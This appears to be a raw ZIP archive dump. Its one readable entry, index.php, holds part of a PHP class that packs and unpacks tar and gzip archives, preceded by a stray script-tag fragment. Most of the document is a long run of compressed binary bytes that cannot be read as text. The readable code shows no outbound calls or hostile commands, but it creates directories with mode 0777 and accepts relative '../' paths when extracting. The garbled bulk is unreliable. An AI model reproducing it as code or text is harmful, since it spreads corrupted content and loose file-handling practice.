BGAPKZ):: index.phpnu[489495df489495df<\/script>\r\n 489495dferrors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.':
'; foreach ($Errors as $value) $message .= $value.'
'; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $iarchive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } ?>PKZuugay1nu[PKRiZXsuy\ZP+ŀ II7Mӛ_PaM;笽?fo?Bך~gw?3"C*t- _qQSQ,_?GH1IwCꐪT ω5ysg5 WLm;L҉ā c8o"%1ijL]_Tk֟UE0g=JrDzVY(M6kϊJҺ.O1*tR:&dF"DZx|+Uo1H}k@ -\Vz|p .%S8s0˜b2O.EEgz'5|=vaDFϷ`"rAYVMK-Y˝tz<G."B>̯a糍gHypfSca I\X+☝fOc5OU/ɢ~@Z][Է1aM[Lk$I` ]#pr׼,A{LZlxil K?F nuRN)Z2Cq ˲)m+y/| 6XQ#XZ2ވ{])S!X6ďD*R12FJIHHՈ Kϖd0Q/gL@`*zך=ʶb4l$m^ u0xO@h $\|/_|13 !sTs4mKFY5" ݬktc%΃VIki[V0f9U\J)=x催o~jE+k+ݼnr{ngD {ff,ZKh[ep[o7ǒq(I~1oц4 t7:VG/F5 $ J#_i.S-A)$jI)BNe~WpGtv#>ѷLH3>6:NK0 [d`n]IAd7͕~_i$ kILhbu> O5RY"I/ D } W[_h`G/jI͏T|xY Yg,sӟF7ZF:ϸSkI/y Y^*d dU1,1GEZIS&b39A;#~+>IN&̳=pToYEqI@ovBf?wxܴ-W0[nBf[` 9te&DA8""Y LXY">⎥\@z%b&sG.$l'#ᅩQ:1DXCl- UnYɨq~Zo/-wZJ}XK<&*$ ~2v zQ DrsvɛCvinm:m)N_Jꔓ.-gP;k>EI| )23SbEǔ`Vͅ0?W|7%MWYq6S]HNi\=g6G{otq /΍㯅֋T6oEꟈ aqhH -l Ru(LRj};huůz lY.hdLVf{gQ2brgk频Lx5o%f6;RMNyȟS*Qb^'0_)b yhrL(Ľ{'b@x˾`Bl0[Drm>D 3, 5qq($f}a|8??ΫVeDߕ!TQHS{0ssΤ=at},F0+W0Ҹ! Fmpu!~_h$PbH=hg[qyCurC@; :f fLnX \C?O9&#rO<ё0@ʮ$)} !_&"Nu?ieysEaʜ _Q5 (C~cǵݯY'0Hs`1jUO>h:O@/VlN Q.1󭺞mAɞ{dsEXQ, j*3V ܁;Q1ȪwG sA`*z{p`sCR]l#×@ qW3q8jJVL2Cyn(A|/ijn'fnK_:Qb?͕u8sfc}!Dh "$z _d;"ꦂ5{ݢQٍݺ}^uRDN%(.8̠G˧>j3kZTa/N*=zHqA^oc)ǜ;1ځMqӭҠR+d,jp^^ٶt+ [kW8.ZF,>#18^TFh?0b< MqĬF){t =zP3ԨukOjl$xbC0 }L-Χe+,PnrluC H;XZ~VB; iSJ o%y04H.T­oP?GW2lNPϵBD4А$PU'XyAí&hV GGKv=3WɌݰ+RAح]i!E8]TWITZ52W:9*MGiʟO7\_mg9H~͡= @ID8cB֟z?xo4Z$yW/͇|USd%vQ>S+wV c/VScT_ĥ'+e܁b".+tl8vOoEEW͠1yzXaoJ췧ӋTPlA)DhWȲ|gJ)vJhkt'1A.sxvC"2qťL/2Xy=I ɘvc '?i2W/8SV_I+:14fq3[$H6 ^'vH&_;DCnjީia+Ķ4$ &GгJU*i K, iSh2`HvlvJmN׮9[?YTb*U `#aMZm틔ąī?%cۛVv d8w8GQQ+v3GIbQK4 4_@bq1h^t@VxLK s Vn%ݮs U\>bG6ם4Kd;ɻ*}ޢt[mcɡM^3rz+UhWͼ譗8Pp^/x^@iO1fLͷKVCފJa˔H71U6$\*Oנ[t<'!q6 `[ q>\+K3PGYzn@ (c>#cآ}ML|C! -l\;[BT 3nͿҗZ* -VK\OɮVNz?E6bQBLPxҔq܃ ly0H6s$WPGAT~̬ySǑ?f wfv{lF;u=51?\OBt|=I<]ƱXA((:y% RHjr xZ ΂.>i1!4?Bp%> mZ eqY,l;Rv!.4s+8ꗁdC)m  )"IkGA#Ka+[YEئ,ޕa#& 3SP?AVS HG2ԡ^tǷetF +R2Hhk+IP-[kTL>@N)`=eD#rK~o5e5L<0-RZG?§gLA M ]k|"d I>N~F,9>%j2w1ylGi)X B7{xSܤ\oZ-UE%lfgP0Ծ.WWy kc9oE&|kKDǞ)Dm27㟵_6~^j?]M)@״$gW] e#R}''O {cdu,.S ~ێmzk0 \ r9? ɞzKtJH~P&\RY|||uۢT.K\t#wgw[j/I{E#:lr1`wsa"l)\ ;u!qg#<-z=a+xS+Vg@xxj?b?1J(QO :`ݟ+;՜r<1fZGk^g-?[5]3v6"s.ΙL+0i9ar [=7 df'RJ[O6Z\g̃&[ٞ0!|Rj%{h޹Ẽsc,r,m`n7aAVZ#m``]$l=Ε7&l$( ÌЌnHn`y87Iם5W,n-ͣ|B`mnmVߴùslVe<On- JjդkφNC?تrDzF<^4s$ m ,Q[1y͌0_f枼.NV R K3 q\- o\mI[8}E:5#:eîlYY(f>4j!  HU4D-)*!oVاLixlΣuN_5>tȲ 6@Fk|eW fu7,I}ݏ}H"1ݤW.v R  \j R8pkt0DmeQk)I 9If&"=ֺ(hz݉Fw݌$@],B18xR8QXcDӃφ> |}}&JKS,XiBeoF6qm e{cq868?rٹKLSm͂Y #DdZJb~4k&wӉbZ}ǶEm@ 6+rJ㫈Ufw! s%VQ^OUi!Ĕz7QvE#G RNv u Dt6!Ǘ퀳fty+ȎtبA)~<'sd>^fsB҂:)w [u虀tE 'F.zn5LVvb!AiH%lžp`kV՜ܽ "xķ2rnn*RpFKBHPګ B҉2x1#dm6~sz=8B T2xvᅒ =)XAxEwnaIy &]k<1∵YпHWt2~xͭlWݯH3EھuZ&'pCݷ6k9s u,`;Re^SL㱡:\YB??RP'6ߨQ-v)݀OCc |{4P|~de$d%IE|PS ά@eOF] iD,4q-~CRG+yp=)B{4'z}F39 »x/z+1ZX(G:M ?MUv㠕rht1&n䡶09)l gƙs#$UgL- AY'vYoI-:ƴ7X)Kҷ{}> ~z 02XTd%IX"J|ޞckkps/(ǻ @_3P>o6"#hwW8Zx"ߨ;]fٛksnv)"`W1@aXf_)o/!6%Wbv%Xpdy}< v9s0~w }7֦Zq/]R = s%6dGX4-@tT~yuiu!6oL}@` [{m5iWwvw:W}~<1T_xG/X҂X_E0 <]z3Շ, 9H E8+ Hm/׽jLY; \`Ȱ{'u#Mfzw*z$uXF~؍>mxz@Ӽ pe(OCI{t{wc3"LN/}hcM5./#Ay%fF۳@a5O\WT_np9lRR9Z*5jV[ ':_\,BtAP[Ӛ%3l[p1oG<}r|J]>pB$RY'/<(,ί.Fq+NIr[*^ہ{Jԡ?ԄD6X T! *(LJnd️yp&_-j9yZ.Y8rcK$>H1O|dޔ?<V0c%k7ކ`UOK=bJ:B0ܯ@?U#Xtyi]?;s:wAD'G> 쩢G}`_83e>N3"m *nE\lҀ_"V>U ҥ_5U9yWPr:Fh25)~(,˞w#;w |j-f|]OBPߝW76lJ^#-P}>Q;,i|?m8) 5Ī"T#p6SIP'D\Q{F('8F#@0 (sSÝk 򞗡Po/\)\i7[ r]B'&7y䢝8g:7BחSyV^cqER I+ؠٚgRN~_=ߒ0}+8+J;BtU%z"jl$zãQ d~%.HT=GiN/[uȫ[df{Q2l$a)*t0>1ж$:x" ThY4ΰ#,F3+X6㝦v:ݍȋ` ]p8IͬN6>q2ײM)* ٵS0[5J[i7ҝH_w!ebӅD­GiH.ϢǪ)̜}9Ϸ)^LNlpHI=@,c FT|*@s' ݻAW p}mmKó?j23۝zYlgJz3;5H ]Zfm j˟s |IXjWꭺN߱+ڕq..GV&MWyW-W3iyyȔ-7pBa⢺99r3ѷdG ij Scg/ME_U\X61>ї`S4T$*XT@ePоQrob]:ڂ۸q+:S`{8}IfXwf? rJYcew>44sP_6y&8aOz ruO$/V(G:Mk.StC#~K 65$>p<.(MԎ y>z;n 3 i[e~wIy-ShɁaWB W5͑o}A9\&|~J;~`p6UGߕ e3KhSyҧ|f۹|ר,I>%q@2 r(Q\Tʈx>KGP"6kkzqX7]-OC@.l 3s<򡆫4)I|?*=SrX/Bwe/xB_e:Ƌu_c2h5_0y$ &1^ K PR:u9˻Ύ,+ Mn آ{6ڨbQJ ۝&j-u_Xsڈ!P2vX.V0&ϯr;3 %$Zp40N.;z ;U{?M,;3]K+eB'>I9^Cթ %LTٿK;ٕy ˇ| w%|={c=*S{$a.<5V{avHSѱ±-r-$~T2fTsU(w:(<{I'ٚJMاT7XláR ni|3;H$)/Z?vEjRLf6~qj<2)!g9nlحCWR,:ُ-]@h4+$l>A8Y =yXLu2gb%;ysva,ۭp[ƆK*i4V"zdB [שsq bUVArmz֔\^삆OHQt(1\隂,Xe:(PmN_&2u l ;&„w)(en+!Gt7t}e:y!;sG|nۧiHkwY%F0kmO"ǀa\%ss+h"zi?\l.&e87p5X,6a?sq+`D8xQ(CQ!5%r895M lV~|yشmyåQ+pvqa)XeZwrr'bDi>s-t?*ܡL%ͨ,1EK"!0҃%V*TB 8Da6SP}--4ǗJ޺$:Xζ4uGJ{9>t'K7>Uq|IʟHlS*y;7t"L'rCwwx>ʯ]׿hCFϮLaZ-:ePT]łCK@c &̯ZDdJWKQSQ), G,޾<|`~f, ɽNOO6C_\_q?]X6k0yH0sVw-e+DXqM("?<ݸ(N[-o>/GiVLJQ3$)&)A|il-nހӴJJOp KOj$ԔƳi=5YR{P G?6) $ǥ^r8 'IRGC?tr#Yvr%/E~ݥքs}jPD$.+H*|aR]Ԏw; {D  gA?QNrTWoHpN 86V"?<|ݓ ]^kL3,*z}O ՚/~sSV`33=afdBWqI! Hן2>/Ӈln)wv<u J3]ii_q.)G)ce Mdn_Pd G"5AxfD¹XznJ 6 'ˤyT~=3KG[bW%n揮=GC'p-}i)s洔s#'C )\RoaurnN##@#1AtYF@#V}>o%ג~Qі+G Oː@{łj겟dVb; S2i B+ kƣˡ.;cjߗV-3N[jz&& μEO#I.. 47:T( !iҡ"GwraZl4p2RIh'oNApV+ od1ܚ ׎k+lVݠݯqOUn Kr3Wpa ɢ:weZdmLj/1=I3F.6ܯJ ! W!3eO}oz?o1%;Cnʾ]C|3 V+}FVa磿F =B]^N{Q.f;y].o*)Oi住^ %R+u^F@b>(}ѢMҘgX) eaqt$N]2 *o)[JSy"{( I"~#dhRWqcÝ1V+`Ve&SNtES$Oa#i9oZb, kjU)Z13oW $9X)CrD#=@LrWvuuC2*i;,$m>rJ2/Ўo~gBPfPwPX9,dGb*7 FPOǜM!Hm/b!PDU'hOuZ@3"llA-+ bs̫r#a~TR8'H;uaNK޷*_j>ߢ/@.M+ 8~dd(xk>;zp(L z6/Cs?Lo3F?zyЦFOղɚxk2RX^8Д5B1v-#5rKT?;ocgkAM61d U;LӾ@g-(U:o~M~4|y.zO݁ l<7V҄N’('s[ _PpuH^JdLa?̀33?6G"~;0]O5Z᪤G lFgmqSso +VMF['zW><;5>:\-[~Q!Wl+p"~<4vنv~)#3xj[w!:_SyIp F}t|U*M?]\MkP}m&ŌN5P=W!NP$MA!>'^{}qClIј,QrO'~I=)yw'^*9改{-] 5m!Avz6PGjeK}ZH1<7߆lW~:M=mLseE\ hWo\;;a9G6oQ ir z#SsE=@XXo*mВm)8 yQϸ4,'k?sxֿ~'Έ \L. {%VSP4cN4!6dB^Qvm\N;;+bc-Hj> 6Gi7]R'؆ L.Gd8h2d2},Pi8.r9H9_>IsoŌl!˰8tkUĕŞy0 4*:pTQTtZ eIR9>p;'ix]^w (0^/^1 1\U.Yߜ U, VLlR|\)JJ Y?dM!G@Hu|ZuMyeȜ(] Sz`-F4P(d 䊿P˫ {nS(c)LV g#UfLSѕǦ)3YVr}*v= ʝb.'j}p_G50gf~/ *(#Mu{̝Dyv2GVpwL`և(k\ J2 /~4n,Yt`S4[tn:ѹPiBʼnPH0`^x>hr jyZqFXCI,clİ2/V"ouH~Z bxorWm@j:ٕ94JZ0qr[}1}XD,KJχuՒ%-WH9։"I| qAr0ޅ`78۫BSj6Opev]n^^@Bޫq ~ϞGSlFԑd? p݊eV}YG#&^'?dr0CsUCV:U2[c:ڹ#(F\p;Z9<^Ceq{'5N`֙R<1^| G+7K\^<&Ծ>=~b7!qZ}*ZC^Jni'wRr{i.5stZDkP#~#ujg򣟏iSh4di51oi%e;6Ps!6":トO0ǻ*~n^jDZ< dO_OԢrS~&⤏YOfsua!'_P1R̜t{N2z{Aa5dwgCφHΣ$u&P()읭Zy+` XE0dɖnl OICctXǭU%R+ΑED`AȬvlҹ9g4i8]*԰\e0}T7 _ yھx,eFkrf'P0ZĂt2[(WQf*z2}x%ۅkla90 }$f +Llp"o$\]ٽ:*e#XEpۊ;~S*%ES#csǘЇv}aA `Qjw3|I'Nh$h DC8 ,  -s.\ժ[9'YOdz  FÎ 5*| +}caXma<6o-p&MIXcPHM&ij\ =;Mtmg FY n'ЅFV6.f!zۄDX h9eL8_훗#pWfk$6Fh0/2Nh(jj%FeTfE\~ QCrItՒ.kLzɫ.BDгZ: UPZ,x@ʖcaY^Lvr+kٟw..goj;f6^э5KD%@4fGYbdӳg m_D/ҵ-ǧnM|RPŶd=+v@E< HLd  UWa ߣcO2])qlvrP_5c&eVQ6L#nhdc }9/Kv,4}@fRپ411HΏyh L9p/,eR[~`0:cz9؇ Wn*ԡ!ލy=y~%VrQÍE S4K.Կvv6UC{UB8(8~қ,tr?cCd>BOʠcw M])A[)z v"ġ>Gr!ωᄊ +46K\brmZg7 v_-Ymx娄.rHJ)kJ1$GHqc!qh{<<:mN aWt)ơ>9.Wܫ򄬹j8m>wõ2; X1垂i-68HL4"\)Is J5Cӣ 1"U Q6]L>̷a 2xWe^OːhVGg95E06'b` 2"1 u[#z~,/b@VcGa>%*c>FLDu%ѵ *"&\xZ<("F{juĞ =gZŸ2'zMp_՗MKIG D3_欻E47n)F&r?lcçfw8ѷׂ4SO T{?Cwpcz_/tFy}ez#toF9 f"X 0E`]fY\p)Sh=v{,H /}t@M 9S6254S:9WX)߄RN}/\s޻q+(_f+zj9RIx<mLt5/kۦ/*ѱxAk9_֢k4@W\\rY3%Hz,ai_QEiW,+wu~j 6;g^yyRT<Η wyd"2{tūf6n/__3V􅏆 \SG:IOj]þU. ' "Qѕ.Ǹ]bҌ;OŢ:D$-FL1F;鰟A;衼(ѕos{j:kHeXwfJ/xrֽľ%EBw^ e4)N߳cZ9"w+xXz[^̥N/o;1yȮש640=L՜.rd1-Zvo~:<1#?mYA$'ԡՏhW){ 3V v Oi oBhh8tb{JxnVY옰/? 8Xd(j@eK Hv嗾:?W-@N8E$v5q7ܵ0uYԶj F1b{s0p7xZk$dcQD9Xg0 Fy\){b6uXlnQz:AԴ`Aޛ3 ͪ.}Ǿn!y=w?m׺HGT1@"SE7dQG5#Դ(mO(QXe_7/Ey~=zz*&{TUb6 hq[J# <~ދ5,tW'|k=O-gƟ3i~`7I;!il50¤I(Kr>h?ِP !Y/7R165G:oUr_F6~8r'Le*2~]w-=~̚! /..9 =8vjR?U2x3ތ ?u'`#q-MRO#G_Uwq0*zs`V-mXQ?";yRP$mD.}~E Qq$#4Zp=}{0ī蒉 BEos>ۍt"u&l&<0j!Bͭi;FKàN^#X;֐N".=;L+IP 2l˥i*MN<}>UX] [C8{p`PK\ ir`Q,{g#y*a8P{÷Z[ExНvF\'um KjuB$|1So~FӞqPO$XZ2lX5(yvCՎW$:8 #I.ț$ bd ɂhjvnR$,B:~ VTnza+ z"vp'31ɶk(݇UD1պRJ]ڍ}&n)0O7('ͽl'X!/`~?J=uv <##o @,_<;^IwYq:㮌{$^o2 n2Tښ B[m1RdzMf #$o :YR?L#:r?^TPh`[Jw:4 ,),%'ڻphhuUD |ډf;fL! s &>81C=Fy:@Gq= 8 Z ۀ`po7i{BF^\78%bNzY6Brop˒Ț.UnGկ=g3py0Fzgj(@c5~oOu-&=u ѽ6;ҠE`soѯEE' 4~i6/zר^xr{q-ʨ9Sͅ/~ :Orhvs&wx,[UƿiQ)a\k+e5-ȣǻpsxM."~,MV1RAZS"a T{xS֊5GGz u=GUqf:B 802sՕegAW?lЅ=ߦw< u\INX߁z Y3Aqe"㫜IA 6n#͝ɕWA fwbQmڦ'ᠵYG=\;7"0"/OL>dges>52> oe9c]y Rq~ڸ>f_=y <7d籐c@>WGM| 7-TMP]7\qpMjI'NF", rIa)"!k伣x'aeK=~y!%^5Qɢh' =%g*2`'Wig뷵vM*Q#?:f!Q=;jх2~L!e@xiٌ)S\ m+bV}&r΂._g76z@oPkRۋ%TkcB4nhy+0cvԅDO 3QΛ,&Wn ׈ {1ky qVHH]"lHL )RKFkH [z}/1JiU0MB$!;̌Vn sё[=hxF? 7d<`rj+/\1)̸ő~Vub't{= [4T H_Η5qRK$p 20p 82ˢVk٪OҒKU X1Զhq<Wlg>MV.p+yrSi Ҫ/GUF2+l3HO"} Z cEِO3dC9(?/~XO+ꓼ26@RR@'xњ{ EqI&7l,qjl{x۫jPZjH[ggsăDՉ0_KfB!BO]ÌoFta}v.wLlu\=rX_Ko'5ʹ:ᙖ?ZD;^˩w7|&P5!'wܫ Sa OG^xcOd|#vW-(¦~WLo8A;KL[v*t,f k~m y7f"A [=@Llrhv0ĕr9ƍP3Jmxd.y HiS{DKN ) VbBi( DpBu8jZ$z lJr{_nS"-ѵ`70WF&9YXsT^`l(ҥY(|2 ׉DMP7dbXc 3eq2A2BDhjݍeU~+m(9~xKTwL꧱P1}^kM r j^ާrbIbl2ӁWu\*X MUèNf{d`*fOL{sKD7f33tCKX `z]9oDFzW< cuo%)i&^JبKf^WehUw~bԦK]@gJq1Lyl⼊,k”::q%*SY\ %sѨbqI8zV Xƈ{(#K<jĄ=Ɯ \'(OJ*{*XWq7pY9Vҥg[l>f~@T6Q*9,q5iπ{unjs. Ul/,o)x=_>1ܾ<𠗻E6*!X; +>n;^pRۜ~MJ3 rkxB&}r{3rJ*4Lwy!(d3lhP/DJӺ<ВcRc[)g/уv ŸS|?!iWb6-:4ך3Tǒ} ׏&HM>e]lz0ro#]X:if7M&d0~^:~jz"&UʏM16N=[R/%-Xx12T6Z4vHX;L>1  +ظϸ K񵍕2}!f R@bKsEsVGB^3Y2P}A6@W}jL8(6Q d 0boH'tCƤ4v% iI|JdK'CI"aCH~ux>\V~2P`2,>ј`'bqVxP1V,-FVЎئ>LƋARsE.e̶Y:eRލ4zRQpFIVf'fOWn-Wpb |N e.o-(H1*p,[XM'.ܰZIŃaزC5mN3rvؙ'e=bg ks=<%*EG$D0yG6`ѯgzh@.@Z]r½ b`[5BOiYe 8,bC|Q9|5sWPoaO%oئ0KTA_&AG V"a:( p8{4?0BEW JK{]Zg 3TSsI܏G?mfްw;gU ׊U 